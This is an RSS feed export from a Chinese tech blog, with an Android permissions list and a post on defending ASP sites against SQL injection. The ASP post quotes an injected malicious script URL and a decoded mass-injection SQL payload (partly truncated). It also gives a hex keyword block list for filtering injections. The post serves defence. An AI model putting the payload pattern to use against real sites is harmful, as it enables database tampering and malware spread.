<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; 数据库</title>
	<atom:link href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>网上整理的android权限大全</title>
		<link>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/wangshangzhenglideandroidquanxiandaquan.html</link>
		<comments>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/wangshangzhenglideandroidquanxiandaquan.html#comments</comments>
		<pubDate>Wed, 29 Jun 2011 03:53:26 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[Android笔记]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[大全]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[精华]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[系统服务]]></category>
		<category><![CDATA[组件]]></category>
		<category><![CDATA[网站大流量问题]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=550</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/wangshangzhenglideandroidquanxiandaquan.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>android.permission.ACCESS_CHECKIN_PROPERTIES 允许读写访问 “properties”表在checkin数据库中，改值可以修改上传( Allows read/write access to the “properties” table inthe checkin database, to change values that get uploaded) android.permission.ACCESS_COARSE_LOCATION 允许一个程序访问CellID或WiFi热点来获取粗略的位置(Allows an application to access coarse (e.g., Cell-ID, WiFi)location) android.permission.ACCESS_FINE_LOCATION 允许一个程序访问精良位置(如GPS) (Allows an application to access fine(e.g., GPS) location) android.permission.ACCESS_LOCATION_EXTRA_COMMANDS 允许应用程序访问额外的位置提供命令(Allows an application to access extra location provider commands) android.permission.ACCESS_MOCK_LOCATION 允许程序创建模拟位置提供用于测试(Allows an application to create [...]]]></description>
			<content:encoded><![CDATA[<p>android.permission.ACCESS_CHECKIN_PROPERTIES 允许读写访问 “properties”表在checkin数据库中，改值可以修改上传( Allows read/write access to the “properties” table inthe checkin database, to change values that get uploaded)<br />
android.permission.ACCESS_COARSE_LOCATION 允许一个程序访问CellID或WiFi热点来获取粗略的位置(Allows an application to access coarse (e.g., Cell-ID, WiFi)location)<br />
android.permission.ACCESS_FINE_LOCATION 允许一个程序访问精良位置(如GPS) (Allows an application to access fine(e.g., GPS) location)<br />
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS 允许应用程序访问额外的位置提供命令(Allows an application to access extra location provider commands)<br />
android.permission.ACCESS_MOCK_LOCATION 允许程序创建模拟位置提供用于测试(Allows an application to create mock location providers fortesting)<span id="more-550"></span><br />
android.permission.ACCESS_NETWORK_STATE 允许程序访问有关GSM网络信息(Allows applications to accessinformation about networks)<br />
android.permission.ACCESS_SURFACE_FLINGER 允许程序使用SurfaceFlinger底层特性(Allows an application touse SurfaceFlinger&#8217;s low level features)<br />
android.permission.ACCESS_WIFI_STATE 允许程序访问Wi-Fi网络状态信息(Allows applications to accessinformation about Wi-Fi networks)<br />
android.permission.ADD_SYSTEM_SERVICE 允许程序发布系统级服务(Allows an application to publish system-level services).<br />
android.permission.BATTERY_STATS 允许程序更新手机电池统计信息(Allows an application to update the collected battery statistics)<br />
android.permission.BLUETOOTH 允许程序连接到已配对的蓝牙设备(Allows applications to connect to paired bluetooth devices)<br />
android.permission.BLUETOOTH_ADMIN 允许程序发现和配对蓝牙设备(Allows applications to discover and pair bluetooth devices)<br />
android.permission.BRICK 请求能够禁用设备(非常危险)(Required to be able to disable the device (very dangerous!).)<br />
android.permission.BROADCAST_PACKAGE_REMOVED 允许程序广播一个提示消息在一个应用程序包已经移除后(Allows an application to broadcast a notification that anapplication package has been removed)<br />
android.permission.BROADCAST_STICKY .允许一个程序广播常用intents(Allows an application to broadcast sticky intents)<br />
android.permission.CALL_PHONE 允许一个程序初始化一个电话拨号不需通过拨号用户界面需要用户确认(Allows an application to initiate a phone call without goingthrough the Dialer user interface for the user to confirm the call beingplaced.)<br />
android.permission.CALL_PRIVILEGED 允许一个程序拨打任何号码，包含紧急号码无需通过拨号用户界面需要用户确认(Allows an application to call any phone number, including emergencynumbers, without going through the Dialer user interface for the user toconfirm the call being placed)<br />
android.permission.CAMERA 请求访问使用照相设备(Required to be able to access the camera device. )<br />
android.permission.CHANGE_COMPONENT_ENABLED_STATE 允许一个程序是否改变一个组件或其他的启用或禁用(Allows an application to change whether an application component(other than its own) is enabled or not. )<br />
android.permission.CHANGE_CONFIGURATION 允许一个程序修改当前设置，如本地化(Allows an application to modify the current configuration, such aslocale. )<br />
android.permission.CHANGE_NETWORK_STATE 允许程序改变网络连接状态(Allows applications to change network connectivity state)<br />
android.permission.CHANGE_WIFI_STATE 允许程序改变Wi-Fi连接状态(Allows applications to changeWi-Fi connectivity state)<br />
android.permission.CLEAR_APP_<a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">CACHE</a> 允许一个程序清楚缓存从所有安装的程序在设备中(Allows an application to clear the caches of all installedapplications on the device. )<br />
android.permission.CLEAR_APP_USER_DATA 允许一个程序清除用户设置(Allows an application to clear user data)<br />
android.permission.CONTROL_LOCATION_UPDATES 允许启用禁止位置更新提示从无线模块(Allows enabling/disabling location update notifications from theradio. )<br />
android.permission.DELETE_CACHE_FILES 允许程序删除缓存文件(Allows an application to delete cache files)<br />
android.permission.DELETE_PACKAGES 允许一个程序删除包(Allows an application to delete packages)<br />
android.permission.DEVICE_POWER 允许访问底层电源管理(Allows low-level access to power management)<br />
android.permission.DIAGNOSTIC 允许程序RW诊断资源(Allows applications to RW todiagnostic resources. )<br />
android.permission.DISABLE_KEYGUARD 允许程序禁用键盘锁(Allows applications to disable the keyguard )<br />
android.permission.DUMP 允许程序返回状态抓取信息从系统服务(Allows an application to retrieve state dump information fromsystem services.)<br />
android.permission.EXPAND_STATUS_BAR 允许一个程序扩展收缩在状态栏,Android开发网提示应该是一个类似Windows Mobile中的托盘程序(Allows an application to expand or collapse the status bar. )<br />
android.permission.FACTORY_TEST 作为一个工厂测试程序，运行在root用户(Run as a manufacturer testapplication, running as the root user. )<br />
android.permission.FLASHLIGHT 访问闪光灯,Android开发网提示HTC Dream不包含闪光灯(Allows access to the flashlight )<br />
android.permission.FORCE_BACK 允许程序强行一个后退操作是否在顶层activities(Allows an application to force a BACK operation onwhatever is the top activity. )<br />
android.permission.FOTA_UPDATE 暂时不了解这是做什么使用的，Android开发网分析可能是一个预留权限.<br />
android.permission.GET_ACCOUNTS 访问一个帐户列表在Accounts Service中(Allows access to the listof accounts in the Accounts Service)<br />
android.permission.GET_PACKAGE_SIZE 允许一个程序获取任何package占用空间容量(Allows an application to findout the space used by any package. )<br />
android.permission.GET_TASKS 允许一个程序获取信息有关当前或最近运行的任务，一个缩略的任务状态，是否活动等等(Allows an application to get information about the currently orrecently running tasks: a thumbnail representation of the tasks, whatactivities are running in it, etc.)<br />
android.permission.HARDWARE_TEST 允许访问硬件(Allows access to hardware peripherals. )<br />
android.permission.INJECT_EVENTS 允许一个程序截获用户事件如按键、触摸、轨迹球等等到一个时间流，Android开发网提醒算是hook技术吧(Allows an application to inject user events (keys, touch, trackball)into the event stream and deliver them to ANY window.)<br />
android.permission.INSTALL_PACKAGES 允许一个程序安装packages(Allows an application to install packages. )<br />
android.permission.INTERNAL_SYSTEM_WINDOW 允许打开窗口使用系统用户界面(Allows an application to open windows that are for use by parts ofthe system user interface. )<br />
android.permission.INTERNET 允许程序打开网络套接字(Allows applications to open network sockets)<br />
android.permission.MANAGE_APP_TOKENS 允许程序管理(创建、催后、z -order默认向z轴推移)程序引用在窗口管理器中(Allows an application to manage(create, destroy, Z-order) application tokens in the window manager. )<br />
android.permission.MASTER_CLEAR 目前还没有明确的解释，Android开发网分析可能是清除一切数据，类似硬格机<br />
android.permission.MODIFY_AUDIO_SETTINGS 允许程序修改全局音频设置(Allows an application to modify global audio settings)<br />
android.permission.MODIFY_PHONE_STATE 允许修改话机状态，如电源，人机接口等(Allows modification of the telephony state &#8211; power on, mmi, etc. )<br />
android.permission.MOUNT_UNMOUNT_FILESYSTEMS 允许挂载和反挂载文件系统可移动存储(Allows mounting and unmounting file systems for removable storage.)<br />
android.permission.PERSISTENT_ACTIVITY 允许一个程序设置他的activities显示(Allow an application to makeits activities persistent. )<br />
android.permission.PROCESS_OUTGOING_CALLS 允许程序监视、修改有关播出电话(Allows an application to monitor, modify, or abort outgoing calls)<br />
android.permission.READ_CALENDAR 允许程序读取用户日历数据(Allows an application to read the user&#8217;s calendar data.)<br />
android.permission.READ_CONTACTS 允许程序读取用户联系人数据(Allows an application to read the user&#8217;s contacts data.)<br />
android.permission.READ_FRAME_BUFFER 允许程序屏幕波或和更多常规的访问帧缓冲数据(Allows an application to take screen shots and more generally getaccess to the frame buffer data)<br />
android.permission.READ_INPUT_STATE 允许程序返回当前按键状态(Allows an application to retrieve the current state of keys andswitches. )<br />
android.permission.READ_LOGS 允许程序读取底层系统日志文件(Allows an application to read the low-level system log files. )<br />
android.permission.READ_OWNER_DATA 允许程序读取所有者数据(Allows an application to read the owner&#8217;s data)<br />
android.permission.READ_SMS 允许程序读取短信息(Allows an application to read SMS messages.)<br />
android.permission.READ_SYNC_SETTINGS 允许程序读取同步设置(Allows applications to read the sync settings)<br />
android.permission.READ_SYNC_STATS 允许程序读取同步状态(Allows applications to read the sync stats)<br />
android.permission.REBOOT 请求能够重新启动设备(Required to be able to reboot the device. )<br />
android.permission.RECEIVE_BOOT_COMPLETED 允许一个程序接收到 ACTION_BOOT_COMPLETED广播在系统完成启动(Allows anapplication to receive the ACTION_BOOT_COMPLETED that is broadcast after thesystem finishes booting. )<br />
android.permission.RECEIVE_MMS 允许一个程序监控将收到MMS彩信,记录或处理(Allowsan application to monitor incoming MMS messages, to record or performprocessing on them. )<br />
android.permission.RECEIVE_SMS 允许程序监控一个将收到短信息，记录或处理(Allows an application to monitor incoming SMS messages, to record orperform processing on them.)<br />
android.permission.RECEIVE_WAP_PUSH 允许程序监控将收到WAP PUSH信息(Allows an application to monitorincoming WAP push messages. )<br />
android.permission.RECORD_AUDIO 允许程序录制音频(Allows an application to record audio)<br />
android.permission.REORDER_TASKS 允许程序改变Z轴排列任务(Allows an application to change theZ-order of tasks)<br />
android.permission.RESTART_PACKAGES 允许程序重新启动其他程序(Allows an application to restart other applications)<br />
android.permission.SEND_SMS 允许程序发送SMS短信(Allows an application to send SMSmessages)<br />
android.permission.SET_ACTIVITY_WATCHER 允许程序监控或控制activities已经启动全局系统中Allows an application towatch and control how activities are started globally in the system.<br />
android.permission.SET_ALWAYS_FINISH 允许程序控制是否活动间接完成在处于后台时Allows an application to control whether activities are immediatelyfinished when put in the background.<br />
android.permission.SET_ANIMATION_SCALE 修改全局信息比例(Modify the global animation scaling factor.)<br />
android.permission.SET_DEBUG_APP 配置一个程序用于调试(Configure an application for debugging.)<br />
android.permission.SET_ORIENTATION 允许底层访问设置屏幕方向和实际旋转(Allows low-level access to setting the orientation (actuallyrotation) of the screen.)<br />
android.permission.SET_PREFERRED_APPLICATIONS 允许一个程序修改列表参数PackageManager.addPackageToPreferred() 和PackageManager.removePackageFromPreferred()<a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" class="st_tag internal_tag" rel="tag" title="标签 方法 下的日志">方法</a>(Allows an application to modify the list of preferred applicationswith the PackageManager.addPackageToPreferred() andPackageManager.removePackageFromPreferred() methods.)<br />
android.permission.SET_PROCESS_FOREGROUND 允许程序当前运行程序强行到前台(Allows an application to force any currently running process to bein the foreground.)<br />
android.permission.SET_PROCESS_LIMIT 允许设置最大的运行进程数量(Allows an application to set the maximum number of (not needed)application processes that can be running. )<br />
android.permission.SET_TIME_ZONE 允许程序设置时间区域(Allows applications to set the system time zone)<br />
android.permission.SET_WALLPAPER 允许程序设置壁纸(Allows applications to set the wallpaper )<br />
android.permission.SET_WALLPAPER_HINTS 允许程序设置壁纸hits(Allows applications to set the wallpaper hints)<br />
android.permission.SIGNAL_PERSISTENT_PROCESSES 允许程序请求发送信号到所有显示的进程中(Allow an application to request that a signal be sent to allpersistent processes)<br />
android.permission.STATUS_BAR 允许程序打开、关闭或禁用状态栏及图标Allows an application to open, close, or disable the status bar andits icons.<br />
android.permission.SUBSCRIBED_FEEDS_READ 允许一个程序访问订阅RSS Feed内容提供(Allows an application to allowaccess the subscribed feeds ContentProvider. )<br />
android.permission.SUBSCRIBED_FEEDS_WRITE 系统暂时保留改设置,Android开发网认为未来版本会加入该功能。<br />
android.permission.SYSTEM_ALERT_WINDOW 允许一个程序打开窗口使用 TYPE_SYSTEM_ALERT，显示在其他所有程序的顶层(Allows anapplication to open windows using the type TYPE_SYSTEM_ALERT, shown on top ofall other applications. )<br />
android.permission.VIBRATE 允许访问振动设备(Allows access to the vibrator)<br />
android.permission.WAKE_LOCK 允许使用PowerManager的 WakeLocks保持进程在休眠时从屏幕消失( Allows usingPowerManager WakeLocks to keep processor from sleeping or screen from dimming)<br />
android.permission.WRITE_APN_SETTINGS 允许程序写入API设置(Allows applications to write the apnsettings)<br />
android.permission.WRITE_CALENDAR 允许一个程序写入但不读取用户日历数据(Allows an application to write (but not read) the user&#8217;s calendardata. )<br />
android.permission.WRITE_CONTACTS 允许程序写入但不读取用户联系人数据(Allows an application to write (but not read) the user&#8217;s contactsdata. )<br />
android.permission.WRITE_GSERVICES 允许程序修改Google服务地图(Allows an application to modifythe Google service map. )<br />
android.permission.WRITE_OWNER_DATA 允许一个程序写入但不读取所有者数据(Allows an application to write (but not read) the owner&#8217;s data.)<br />
android.permission.WRITE_SETTINGS 允许程序读取或写入系统设置(Allows an application to read or write the system settings. )<br />
android.permission.WRITE_SMS 允许程序写短信(Allows an application to write SMS messages)<br />
android.permission.WRITE_SYNC_SETTINGS 允许程序写入同步设置(Allows applications to write the sync settings</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidzaixiankaifagongjuappinventor.html" title="Android在线开发工具 App Inventor">Android在线开发工具 App Inventor</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeeeee-2.html" title="防止网卡被禁用的具体配置方法">防止网卡被禁用的具体配置方法</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html" title="完美解决“由于这台计算机没有终端服务器客户端访问许可证”">完美解决“由于这台计算机没有终端服务器客户端访问许可证”</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/access" title="access" rel="tag">access</a>, <a href="http://www.5bay.cn/category/android%e7%ac%94%e8%ae%b0" title="Android笔记" rel="tag">Android笔记</a>, <a href="http://www.5bay.cn/tag/%E5%A4%A7%E5%85%A8" title="大全" rel="tag">大全</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/caz" title="精华" rel="tag">精华</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F%E6%9C%8D%E5%8A%A1" title="系统服务" rel="tag">系统服务</a>, <a href="http://www.5bay.cn/tag/%E7%BB%84%E4%BB%B6" title="组件" rel="tag">组件</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99%E5%A4%A7%E6%B5%81%E9%87%8F%E9%97%AE%E9%A2%98" title="网站大流量问题" rel="tag">网站大流量问题</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/wangshangzhenglideandroidquanxiandaquan.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP防注入新方式，希望对大家是有用的</title>
		<link>http://www.5bay.cn/server-building/aspeaojie.html</link>
		<comments>http://www.5bay.cn/server-building/aspeaojie.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 02:00:27 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[防注入]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=527</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aspeaojie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。 首先先告诉大家一个批量清除代码的sql语句。 update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&#62; 1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。 通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。 %%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码 首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。 通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。 ;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211; 就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。 2、所以我们的原来的防sql注入的字符串就需要升级了。 如果过滤16进制 ; 对应 3B DeCLaRE 对应 4465434C615245 @ 对应 40 NvArCHaR 对应 4E76417243486152 set 对应 536554 CaSt 对应 43615374 as 对应 6153 exec 对应 45784563 - 对应 2D 把16进制的代码用&#124;隔开放到injdata 里面 injdata = [...]]]></description>
			<content:encoded><![CDATA[<p>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。</p>
<p>首先先告诉大家一个批量清除代码的sql语句。</p>
<p>update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a>&gt;<br />
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。</p>
<p>通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。</p>
<p>%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码</p>
<p>首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。</p>
<p>通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。</p>
<p>;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;</p>
<p>就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。</p>
<p>2、所以我们的原来的防sql注入的字符串就需要升级了。</p>
<p>如果过滤16进制</p>
<p>; 对应 3B</p>
<p>DeCLaRE 对应 4465434C615245</p>
<p>@ 对应 40</p>
<p>NvArCHaR 对应 4E76417243486152</p>
<p>set 对应 536554</p>
<p>CaSt 对应 43615374</p>
<p>as 对应 6153</p>
<p>exec 对应 45784563</p>
<p>- 对应 2D</p>
<p>把16进制的代码用|隔开放到injdata 里面</p>
<p>injdata = “3B|2D|&#8217;|;|and|exec|insert|select|delete%20from|update|count|”</p>
<p>然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的</p>
<p>照样可以注入到数据库。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%98%B2%E6%B3%A8%E5%85%A5" title="防注入" rel="tag">防注入</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aspeaojie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>完美解决“由于这台计算机没有终端服务器客户端访问许可证”</title>
		<link>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html</link>
		<comments>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:29:01 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=512</guid>
